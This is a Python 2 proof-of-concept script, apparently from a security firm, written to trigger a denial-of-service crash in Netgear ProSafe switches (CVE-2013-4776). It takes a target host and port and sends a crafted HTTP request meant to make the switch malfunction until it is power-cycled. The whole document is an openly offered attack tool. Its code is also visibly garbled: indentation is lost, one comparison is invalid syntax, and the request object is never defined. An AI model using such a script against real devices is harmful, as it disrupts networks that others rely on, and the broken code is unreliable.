import sys, getopt, urllib2
from subprocess import *
__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"
def header():
print ""
print " ================================================================= "
print "| Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t |" . format (__version__)
print "| by {0}\t\t |" . format (__author__)
print " ================================================================= "
print ""
def help ():
header()
print
sys.exit( 0 )
if __name__ = = '__main__' :
try :
options, args = getopt.getopt(sys.argv[ 1 :], "t:p:" , [ "target=" , "port=" ])
except getopt.GetoptError, err:
header()
print "\n[-] Error: {0}.\n" . format ( str (err))
sys.exit( 1 )
if not options:
help ()
target = None
port = None
for opt, arg in options:
if opt in ( "-t" ):
target = arg
if opt in ( "-p" ):
port = arg
if not target or not port:
help ()
print "[-] Error: Incorrect syntax.\n"
sys.exit( 1 )
header()
headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }
try :
print "[+] Triggering DoS condition..."
urllib2.urlopen(r,"", 5 ).read()
except urllib2.URLError:
print "[-] Error: The connection could not be established.\n"
except :
print "[+] The switch should be freaking out..."
print "[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"
sys.exit( 0 )
|